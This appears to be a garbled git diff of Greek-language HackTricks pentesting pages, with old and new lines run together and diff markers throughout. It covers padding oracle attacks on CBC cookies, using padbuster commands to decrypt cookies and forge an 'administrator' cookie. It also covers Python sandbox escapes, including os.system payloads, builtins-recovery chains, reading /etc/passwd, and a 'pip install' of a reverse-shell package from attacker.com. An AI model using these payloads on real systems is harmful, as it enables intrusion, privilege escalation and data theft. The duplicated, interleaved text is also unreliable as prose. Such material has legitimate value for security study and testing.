![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Για να αποκρυπτογραφήσετε το CBC γίνονται οι **αντίθετες** **λειτουργίες**: Για να αποκρυπτογραφήσετε το CBC, γίνονται οι **αντίθετες** **λειτουργίες**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Παρατηρήστε πως απαιτείται να χρησιμοποιηθεί ένα **κλειδί κρυπτογράφησης** και ένα **IV**. Σημειώστε πώς είναι απαραίτητο να χρησιμοποιήσετε ένα **κλειδί κρυπτογράφησης** και ένα **IV**.
# Προσθήκη Μηνύματος # Μήνυμα Padding
Καθώς η κρυπτογράφηση εκτελείται σε **σταθερά μπλοκ μεγέθους**, συνήθως απαιτείται **προσθήκη** στο τελευταίο **μπλοκ** για να ολοκληρωθεί το μήκος του.\ Καθώς η κρυπτογράφηση εκτελείται σε **σταθερούς** **μεγέθους** **μπλοκ**, συνήθως απαιτείται **padding** στο **τελευταίο** **μπλοκ** για να ολοκληρωθεί το μήκος του.\
Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια προσθήκη επαναλαμβάνοντας τον **αριθμό των bytes που απαιτούνται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 bytes, η προσθήκη θα είναι `\x03\x03\x03`. Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί ένα padding **επαναλαμβάνοντας** τον **αριθμό** των **byte** που **χρειάζονται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 byte, το padding θα είναι `\x03\x03\x03`.
Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8bytes**: Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8byte**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -40,43 +44,43 @@
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Σημειώστε πως στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο οπότε δημιουργήθηκε ένα ακόμα μόνο με προσθήκη**. Σημειώστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα άλλο μόνο με padding**.
# Προφυλακτικό Πληροφοριών # Padding Oracle
Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, θα αποκρυπτογραφήσει πρώτα τα δεδομένα· στη συνέχεια θα αφαιρέσει την προσθήκη. Κατά την αφαίρεση της προσθήκης, αν μια **μη έγκυρη προσθήκη προκαλεί ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια προφυλακτικού πληροφοριών**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, έλλειψη αποτελεσμάτων ή **πιο αργή απόκριση**. Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει το padding. Κατά την καθαριότητα του padding, αν μια **μη έγκυρη padding προκαλέσει μια ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, μια **έλλειψη αποτελεσμάτων** ή μια **αργή απόκριση**.
Αν ανιχνεύσετε αυτήν τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμα και να **κρυπτογραφήσετε οποιοδήποτε κείμενο**. Αν ανιχνεύσετε αυτή τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμη και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
## Πώς να εκμεταλλευτείτε ## Πώς να εκμεταλλευτείτε
Μπορείτε να χρησιμοποιήσετε το [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτού του είδους την ευπάθεια ή απλά να κάνετε Μπορείτε να χρησιμοποιήσετε [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτό το είδος ευπάθειας ή απλά να κάνετε
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
Για να δοκιμάσετε αν το cookie ενός ιστότοπου είναι ευάλωτο, μπορείτε να δοκιμάσετε: Για να δοκιμάσετε αν το cookie μιας ιστοσελίδας είναι ευάλωτο, θα μπορούσατε να δοκιμάσετε:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**Η κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται το **base64** (αλλά υπάρχουν και άλλες επιλογές, ελέγξτε το μενού βοήθειας). **Encoding 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες επιλογές, ελέγξτε το μενού βοήθειας).
Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να αναβαθμίσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας το `padbuster` καθορίζοντας την παράμετρο -plaintext**. Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να κλιμακώσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας το `paduster` καθορίζοντας την παράμετρο -plaintext**:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
Εάν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει σφάλμα γέμισης, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**. Αν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα padding, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
## Η θεωρία ## Η θεωρία
Σε **συνοπτική** μορφή, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργηθούν όλα τα **διαφορετικά paddings**. Στη συνέχεια, η επίθεση με padding oracle θα αρχίσει να αποκρυπτογραφεί bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που **δημιουργεί ένα padding του 1, 2, 3, κλπ**. Συνοπτικά, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργήσουν όλα τα διαφορετικά padding. Στη συνέχεια, η επίθεση padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding 1, 2, 3, κ.λπ.
![](<../.gitbook/assets/image (629) (1) (1).png>) ![](<../.gitbook/assets/image (629) (1) (1).png>)
Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει **2 blocks** που αποτελούνται από τα bytes από **E0 έως E15**.\ Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που σχηματίζονται από τα bytes από E0 έως E15.\
Για να **αποκρυπτογραφήσετε** το **τελευταίο block** (**E8** έως **E15**), ολόκληρο το block περνά από τη "αποκρυπτογράφηση block cipher" παράγοντας τα **ενδιάμεσα bytes I0 έως I15**.\ Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνάει από την "αποκρυπτογράφηση block cipher" παράγοντας τα ενδιάμεσα bytes I0 έως I15.\
Τέλος, κάθε ενδιάμεσο byte είναι **XORed** με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι: Τέλος, κάθε ενδιάμεσο byte XORed με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -84,27 +88,47 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
Τώρα, είναι δυνατόν να **τροποποιήσετε το `E7` μέχρι να γίνει `C15` `0x01`**, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτήν την περίπτωση: `\x01 = I15 ^ E'7` Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτή την περίπτωση: `\x01 = I15 ^ E'7`
Έτσι, βρίσκοντας το E'7, είναι **δυνατό να υπολογιστεί το I15**: `I15 = 0x01 ^ E'7` Έτσι, βρίσκοντας το E'7, είναι δυνατόν να υπολογίσετε το I15: `I15 = 0x01 ^ E'7`
Αυτό μας επιτρέπει να **υπολογίσουμε το C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` Το οποίο μας επιτρέπει να υπολογίσουμε το C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Γνωρίζοντας το **C15**, τώρα είναι δυνατό να **υπολογίσουμε το C14**, αλλά αυτή τη φορά με brute-force το padding `\x02\x02`. Γνωρίζοντας το C15, τώρα είναι δυνατόν να υπολογίσουμε το C14, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`.
Αυτό το BF είναι εξίσου πολύπλοκο με το προηγούμενο καθώς είναι δυνατό να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε απλά χρειάζεται να βρεθεί το **`E'14`** που δημιουργεί ένα **`C14` ίσο με `0x02`**.\ Αυτή η BF είναι εξίσου περίπλοκη με την προηγούμενη καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε χρειάζεται απλώς να βρείτε το **`E'14`** που παράγει ένα **`C14` ίσο με `0x02`**.\
Στη συνέχεια, εκτελέστε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** Στη συνέχεια, κάντε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.** **Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
## Ανίχνευση της ευπάθειας ## Ανίχνευση της ευπάθειας
Εγγραφείτε και συνδεθείτε με αυτό το λογαριασμό.\ Εγγραφείτε και δημιουργήστε έναν λογαριασμό και συνδεθείτε με αυτόν το λογαριασμό.\
Αν **συνδεθείτε πολλές φορές** και πάντα λαμβάνετε το **ίδιο cookie**, πιθανόν υπάρχει κάτι **λάθος** στην εφαρμογή. Το **cookie που επιστρέφεται θα πρέπει να είναι μοναδικό** κάθε φορά που συνδέεστε. Αν το cookie είναι **πάντα** το **ίδιο**, πιθανόν θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε. Αν συνδέεστε πολλές φορές και πάντα λαμβάνετε το ίδιο cookie, πιθανότατα υπάρχει κάτι λάθος στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Αν το cookie είναι πάντα το ίδιο, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
Τώρα, αν προσπαθήσετε να **τροποποιήσετε** το **cookie**, θα δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\ Τώρα, αν προσπαθήσετε να τροποποιήσετε το cookie, μπορείτε να δείτε ότι λαμβάνετε ένα σφάλμα από την εφαρμογή.\
Αλλά αν χρησιμοποιήσετε BF το padding (χρησιμοποιώντας για παράδειγμα το padbuster) καταφέρνετε να λάβετε ένα άλλο cookie που είναι έγκυρο για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πιθανόν ευάλωτο στο padbuster. Αλλά αν κάνετε BF το padding (χρησιμοποιώντας το padbuster για παράδειγμα) καταφέρετε να αποκτήσετε ένα άλλο cookie έγκυρο για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πολύ πιθανό να είναι ευάλωτο στο padbuster.
## Αναφορές ## Αναφορές
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,11 +15,21 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details> </details>
{% endhint %} {% endhint %}
Αυτές είναι μερικές τεχνικές για να παρακάμψετε τις προστασίες του python sandbox και να εκτελέσετε αυθαίρετες εντολές. <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
## Βιβλιοθήκες Εκτέλεσης Εντολών #### Get a hacker's perspective on your web apps, network, and cloud
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε άμεσα κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες: **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
## Command Execution Libraries
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -87,17 +97,17 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Τέχνασμα που μοιράστηκε ο **@isHaacK** Τέχνασμα που μοιράστηκε ο **@isHaacK**
Αν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας: Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
```bash ```bash
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να **αποσυμπιέσετε, να αλλάξετε το `setup.py` και να βάλετε τη διεύθυνση IP σας για το reverse shell**: Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να **αποσυμπιέσετε, να αλλάξετε το `setup.py`, και να βάλετε τη διεύθυνση IP σας για το reverse shell**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %} {% hint style="info" %}
Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε. Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει σχεδιαστεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε.
{% endhint %} {% endhint %}
## Eval-ing python code ## Eval-ing python code
@ -106,7 +116,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus) Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus)
{% endhint %} {% endhint %}
Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό: Αν ορισμένοι χαρακτήρες είναι απαγορευμένοι μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
```python ```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -167,7 +177,7 @@ return x
## Εκτέλεση Python χωρίς κλήσεις ## Εκτέλεση Python χωρίς κλήσεις
Εάν βρίσκεστε μέσα σε μια φυλακή python που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**. Αν βρίσκεστε μέσα σε μια φυλακή python που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
### RCE με [διακοσμητές](https://docs.python.org/3/glossary.html#term-decorator) ### RCE με [διακοσμητές](https://docs.python.org/3/glossary.html#term-decorator)
```python ```python
@ -197,7 +207,7 @@ class _:pass
#### RCE με προσαρμοσμένες κλάσεις #### RCE με προσαρμοσμένες κλάσεις
Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιηθούν** χωρίς να τις καλείτε άμεσα. Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα.
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -330,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
### No Builtins ### No Builtins
Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\ Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**. Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσουν ακόμη και **τυχαία εκτέλεση κώδικα**.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους. Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
@ -382,7 +392,7 @@ get_flag.__globals__['__builtins__']
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls') __builtins__["__import__"]('os').system('ls')
``` ```
### Ενσωματωμένα payloads ### Builtins payloads
```python ```python
# Possible payloads once you have found the builtins # Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read() __builtins__["open"]("/etc/passwd").read()
@ -392,7 +402,7 @@ __builtins__["__import__"]("os").system("ls")
``` ```
## Globals and locals ## Globals and locals
Έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να ξέρετε τι μπορείτε να αποκτήσετε πρόσβαση. Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση.
```python ```python
>>> globals() >>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>} {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -420,7 +430,7 @@ class_obj.__init__.__globals__
## Ανακάλυψη Αυθαίρετης Εκτέλεσης ## Ανακάλυψη Αυθαίρετης Εκτέλεσης
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστους εκμεταλλευτές. Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστους εκμεταλλεύσεις.
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις #### Πρόσβαση σε υποκλάσεις με παρακάμψεις
@ -454,7 +464,7 @@ defined_func.__class__.__base__.__subclasses__()
``` ```
### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί ### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και περιέχουν την εισαγωγή του sys**: Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **εισαγάγετε αυθαίρετες βιβλιοθήκες**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και έχουν εισάγει το sys μέσα τους**:
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
